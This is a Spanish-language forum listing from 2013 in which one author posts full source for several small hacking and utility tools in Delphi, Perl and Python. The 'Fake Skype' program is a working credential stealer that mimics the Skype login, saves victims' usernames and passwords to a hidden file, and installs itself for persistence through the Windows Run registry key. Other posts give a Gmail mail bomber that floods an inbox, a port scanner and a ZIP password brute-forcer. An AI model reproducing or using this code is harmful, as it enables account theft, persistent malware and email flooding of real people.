|
201
|
Programación / Programación General / [Delphi] Fake Skype 0.1
|
en: 16 Agosto 2013, 18:40 pm
|
Un simple Fake de Skype , en la proxima version voy a tratar de darle mas realismo xDD. Una imagen : El codigo : // Fake Skype 0.1 // Coded By Doddy H unit fake; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, jpeg, ExtCtrls, StdCtrls, Registry; type TForm1 = class(TForm) Image1: TImage; Edit1: TEdit; Edit2: TEdit; Image2: TImage; procedure Image2Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Edit2Click(Sender: TObject); procedure Edit1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Edit1Click(Sender: TObject); begin Edit1.Text := ''; end; procedure TForm1.Edit2Click(Sender: TObject); begin Edit2.Text := ''; end; procedure TForm1.FormCreate(Sender: TObject); var nombrereal: string; rutareal: string; yalisto: string; her: TRegistry; begin nombrereal := ExtractFileName(ParamStr(0)); rutareal := ParamStr(0); yalisto := 'C:\WINDOWS\' + nombrereal; MoveFile(Pchar(rutareal), Pchar(yalisto)); her := TRegistry.Create; her.RootKey := HKEY_LOCAL_MACHINE; her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE); her.WriteString('uber', yalisto); her.Free; SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN); SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN); end; procedure TForm1.Image2Click(Sender: TObject); var archivo: TextFile; ruta: string; begin if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then begin WinExec('notepad c:/windows/datos.txt', SW_SHOW); end else begin if Edit1.Text = '' then begin ShowMessage( 'Escribe tu Id. de Skype en este formato: tu nombre@ejemplo.com'); end; if Edit2.Text = '' then begin ShowMessage('Escribe tu contraseña'); end else begin if Edit2.Text = 'Escribe aqui tu contraseña' then begin ShowMessage('Escribe tu contraseña'); end else begin ruta := 'c:/windows/datos.txt'; // mod if FileExists(ruta) then begin AssignFile(archivo, ruta); FileMode := fmOpenWrite; Append(archivo); Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text); CloseFile(archivo); Application.MessageBox( 'Se ha producido un error , es necesario reiniciar Skype', 'Skype', MB_OK); Form1.Close; end else begin AssignFile(archivo, ruta); FileMode := fmOpenWrite; ReWrite(archivo); Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text); CloseFile(archivo); Application.MessageBox( 'Se ha producido un error , es necesario reiniciar Skype', 'Skype', MB_OK); Form1.Close; end; end; end; end; end; end. // The End ?
Si quieren bajarlo lo pueden hacer de aca.
|
|
|
202
|
Programación / Programación General / [Delphi] Sex Icons 0.1
|
en: 9 Agosto 2013, 17:59 pm
|
Un simple programa para buscar y extraer iconos. Una imagen : El codigo : // Sex Icons 0.1 // Coded By Doddy H unit sex; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, jpeg, ExtCtrls, ComCtrls, StdCtrls, ShellAPI, ImgList; type TForm1 = class(TForm) Image1: TImage; GroupBox1: TGroupBox; Label1: TLabel; Edit1: TEdit; ListView1: TListView; Button1: TButton; GroupBox2: TGroupBox; Button2: TButton; ImageList1: TImageList; GroupBox3: TGroupBox; Image2: TImage; Image3: TImage; SaveDialog1: TSaveDialog; procedure Button1Click(Sender: TObject); procedure ListView1DblClick(Sender: TObject); procedure Button2Click(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); var buscar: TSearchRec; Icon: TIcon; listate: TListItem; getdata: SHFILEINFO; dirnow: string; begin dirnow := Edit1.Text; ListView1.Items.Clear; Icon := TIcon.Create; ListView1.Items.BeginUpdate; if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then begin repeat if (buscar.Attr <> faDirectory) then begin with ListView1 do begin listate := ListView1.Items.Add; SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata) , SHGFI_DISPLAYNAME); listate.Caption := buscar.Name; SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata) , SHGFI_TYPENAME); listate.SubItems.Add(getdata.szTypeName); SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata) , SHGFI_ICON or SHGFI_SMALLICON); Icon.Handle := getdata.hIcon; listate.ImageIndex := ImageList1.AddIcon(Icon); DestroyIcon(getdata.hIcon); end; end until FindNext(buscar) <> 0; FindClose(buscar); end; ListView1.Items.EndUpdate; end; procedure TForm1.Button2Click(Sender: TObject); begin if SaveDialog1.Execute then begin Image2.Picture.Icon.SaveToFile(SaveDialog1.FileName); ShowMessage('Icon Extracted'); end; end; procedure TForm1.FormCreate(Sender: TObject); begin SaveDialog1.Title := 'Save your Icon'; SaveDialog1.InitialDir := GetCurrentDir; SaveDialog1.DefaultExt := 'ico'; end; procedure TForm1.ListView1DblClick(Sender: TObject); var acanow: TIcon; archivo: string; bajar: TSHFileInfo; begin archivo := Edit1.Text + ListView1.Selected.Caption; if FileExists(archivo) then begin acanow := TIcon.Create; SHGetFileInfo(PChar(archivo), 0, bajar, SizeOf(bajar), SHGFI_ICON); acanow.Handle := bajar.hIcon; Image2.Picture.Icon := acanow; acanow.Free; end; end; end. // The End ?
Si quieren bajarlo lo pueden hacer de aca
|
|
|
203
|
Programación / Programación General / [Delphi] DH Port Scanner 0.2
|
en: 2 Agosto 2013, 23:50 pm
|
Un simple Port Scanner en Delphi. Una imagen : El codigo : // DH Port Scanner 0.2 // Coded By Doddy H unit port; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, sSkinManager, StdCtrls, sGroupBox, sButton, IdTCPClient, sMemo, jpeg, ExtCtrls, ComCtrls, sStatusBar, sEdit, sLabel, IdBaseComponent, IdComponent, IdTCPConnection; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; sGroupBox1: TsGroupBox; sGroupBox2: TsGroupBox; sGroupBox3: TsGroupBox; sButton1: TsButton; sMemo1: TsMemo; Image1: TImage; sStatusBar1: TsStatusBar; sLabel1: TsLabel; sEdit1: TsEdit; sLabel2: TsLabel; sEdit2: TsEdit; sLabel3: TsLabel; sEdit3: TsEdit; sButton2: TsButton; sButton3: TsButton; sButton4: TsButton; IdTCPClient1: TIdTCPClient; procedure sButton1Click(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure sButton3Click(Sender: TObject); procedure sButton4Click(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'matrix'; sSkinManager1.Active := True; end; procedure TForm1.sButton1Click(Sender: TObject); var i: Integer; begin sMemo1.Clear; For i := StrToInt(sEdit2.Text) to StrToInt(sEdit3.Text) do begin try begin sStatusBar1.Panels[0].Text := '[+] Scanning : ' + IntToStr(i); Form1.sStatusBar1.Update; IdTCPClient1.Host := sEdit1.Text; IdTCPClient1.port := i; IdTCPClient1.ConnectTimeout := 1; IdTCPClient1.Connect; sMemo1.Lines.Add('Port Open : ' + IntToStr(i)); IdTCPClient1.Disconnect; end; except begin // end; end; end; sStatusBar1.Panels[0].Text := '[+] Finished'; Form1.sStatusBar1.Update; end; procedure TForm1.sButton2Click(Sender: TObject); begin Abort; end; procedure TForm1.sButton3Click(Sender: TObject); begin ShowMessage('Contact to lepuke[at]hotmail[com]'); end; procedure TForm1.sButton4Click(Sender: TObject); begin Form1.Close(); end; end. // The End ?
Si quieren bajar el programa lo pueden hacer de aca.
|
|
|
206
|
Programación / Programación General / [Delphi] DH Bomber 0.3
|
en: 26 Julio 2013, 21:19 pm
|
Un simple mail bomber hecho en Delphi con musica incluida , para usarlo necesitan una cuenta en Gmail. Una imagen : El codigo : // DH Bomber 0.3 // Coded By Doddy H // Credits : // Based on : http://www.lastaddress.net/2013/05/sending-email-with-attachments-using.html unit dh; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, sSkinManager, StdCtrls, sGroupBox, jpeg, ExtCtrls, sEdit, sLabel, sMemo, ComCtrls, sStatusBar, sButton, MPlayer, Menus, IdIOHandler, IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase, IdSMTPBase, IdSMTP, IdMessage, IdAttachment, IdAttachmentFile; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; sGroupBox1: TsGroupBox; Image1: TImage; sLabel1: TsLabel; sEdit1: TsEdit; sLabel2: TsLabel; sEdit2: TsEdit; sGroupBox2: TsGroupBox; sLabel4: TsLabel; sEdit4: TsEdit; sLabel5: TsLabel; sEdit5: TsEdit; sLabel6: TsLabel; sEdit6: TsEdit; sGroupBox3: TsGroupBox; sMemo1: TsMemo; sButton1: TsButton; sStatusBar1: TsStatusBar; PopupMenu1: TPopupMenu; MediaPlayer1: TMediaPlayer; N2: TMenuItem; S2: TMenuItem; procedure FormCreate(Sender: TObject); procedure N2Click(Sender: TObject); procedure S2Click(Sender: TObject); procedure MediaPlayer1Notify(Sender: TObject); procedure sButton1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; var themenow: Boolean; { Global Variable } implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'deep'; sSkinManager1.Active := True; MediaPlayer1.FileName := 'data/theme.mp3'; MediaPlayer1.Open; themenow := True; MediaPlayer1.Play; MediaPlayer1.Notify := True; end; procedure TForm1.MediaPlayer1Notify(Sender: TObject); begin if (MediaPlayer1.NotifyValue = nvSuccessful) and themenow then begin MediaPlayer1.Play; MediaPlayer1.Notify := True; end; end; procedure TForm1.N2Click(Sender: TObject); begin themenow := True; MediaPlayer1.Play; MediaPlayer1.Notify := True; end; procedure TForm1.S2Click(Sender: TObject); begin themenow := false; MediaPlayer1.Stop; MediaPlayer1.Notify := True; end; procedure enviate_esta(username, password, toto, subject, body: string); var data: TIdMessage; mensaje: TIdSMTP; begin mensaje := TIdSMTP.Create(nil); data := TIdMessage.Create(nil); data.From.Address := username; data.Recipients.EMailAddresses := toto; data.subject := subject; data.body.Text := body; mensaje.Host := 'smtp.gmail.com'; mensaje.Port := 587; mensaje.username := username; mensaje.password := password; mensaje.Connect; mensaje.Send(data); mensaje.Disconnect; mensaje.Free; data.Free; end; procedure TForm1.sButton1Click(Sender: TObject); var i: integer; count: integer; idasunto: string; begin count := StrToInt(sEdit5.Text); For i := 1 to count do begin if count > 1 then begin idasunto := '_' + IntToStr(i); end; try begin sStatusBar1.Panels[0].Text := '[+] Sending Message Number ' + IntToStr (i) + ' ...'; Form1.sStatusBar1.Update; enviate_esta(sEdit1.Text, sEdit2.Text, sEdit4.Text, sEdit6.Text + idasunto, sMemo1.Text); end; except begin sStatusBar1.Panels[0].Text := '[-] Error Sending Message Number ' + IntToStr(i) + ' ...'; Form1.sStatusBar1.Update; end; end; sStatusBar1.Panels[0].Text := '[+] Finished'; Form1.sStatusBar1.Update; end; end; end. // The End ?
Si quieren bajar el programa lo pueden hacer de aca.
|
|
|
209
|
Programación / Scripting / [Perl] PasteBin Downloader 0.1
|
en: 20 Julio 2013, 23:58 pm
|
Un simple script en Perl para bajar codigos de pastebin. Pueden bajar solo uno o hacer que el programa busque links de pastebin en una pagina y bajarlos a todos. El codigo : #!usr/bin/perl #PasteBin Downloader 0.1 #Coded By Doddy H use LWP::UserAgent; use URI ::Split qw(uri_split ); use HTML::LinkExtor; my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); $nave->timeout(10); my $se = "downloads_pastebin"; unless ( -d $se ) { } print "\n-- == PasteBin Downloader 0.1 == --\n"; unless ( $ARGV[0] and $ARGV[1] ) { print "\n[+] Sintax : $0 < -single / -page > <url>\n"; } else { print "\n[+] Searching ...\n"; if ( $ARGV[0] eq "-single" ) { download_this( $ARGV[1] ); } if ( $ARGV[0] eq "-page" ) { download_all( $ARGV[1] ); } } print "\n(C) Doddy Hackman 2013\n"; sub download_all { my $code = toma($page); my @links_all = repes( get_links($code) ); for my $page_down (@links_all) { download_this($page_down); } } sub download_this { my $titulo = ""; my $num = ""; print "\n[+] Checking : $page\n"; my $code = toma($page); if ( $page =~ /http:\/\/(.*)\/(.*)/ ) { $num = $2; if ( $code =~ /<div class="paste_box_line1" title="(.*)">/ ) { $titulo = $1; print "[+] Downloading : http://pastebin.com/download.php?i=$num\n"; if ( download( "http://pastebin.com/download.php?i=$num", $titulo . ".txt" ) ) { print "[+] File Downloaded !\n"; } else { } } } } sub download { if ( $nave->mirror( $_[0], $_[1] ) ) { if ( -f $_[1] ) { } } } sub repes { my @limpio; foreach $test (@_) { push @limpio, $test unless $repe{$test}++; } } sub toma { return $nave->get( $_[0] )->content; } sub get_links { $test = HTML::LinkExtor->new( \&agarrar )->parse( $_[0] ); sub agarrar { my ( $a, %b ) = @_; } } #The End ?
|
|
|
210
|
Programación / Scripting / [Python] ZIP Crack 0.1
|
en: 20 Julio 2013, 23:03 pm
|
Un simple script en Python para crackear archivos ZIP. El codigo #!usr/bin/python #ZIP Crack 0.1 #Coded By Doddy H import sys,zipfile def head(): print "\n-- == ZIP Crack 0.1 == --\n" def copyright(): print "\n(C) Doddy Hackman 2013\n" def sintax(): print "\n[+] Sintax : "+sys.argv[0]+"<file> <wordlist>" head() if len(sys.argv) != 3 : sintax() else: try: passwords = open(sys.argv[2], "r").readlines() except : print "\n[-] Error opening file\n" op = 0 print "\n[+] Cracking ...\n" for password in passwords: password = password.replace("\r","").replace("\n","") if op==1: copyright() sys.exit(0) try: test = zipfile.ZipFile(sys.argv[1]) test.extractall(pwd=password) print "[+] Zip Cracked : "+sys.argv[1] print "[+] Password : "+password op = 1 except: pass print "[-] Password Not Found" copyright() #The End ?
|
|
|
|
|
|
|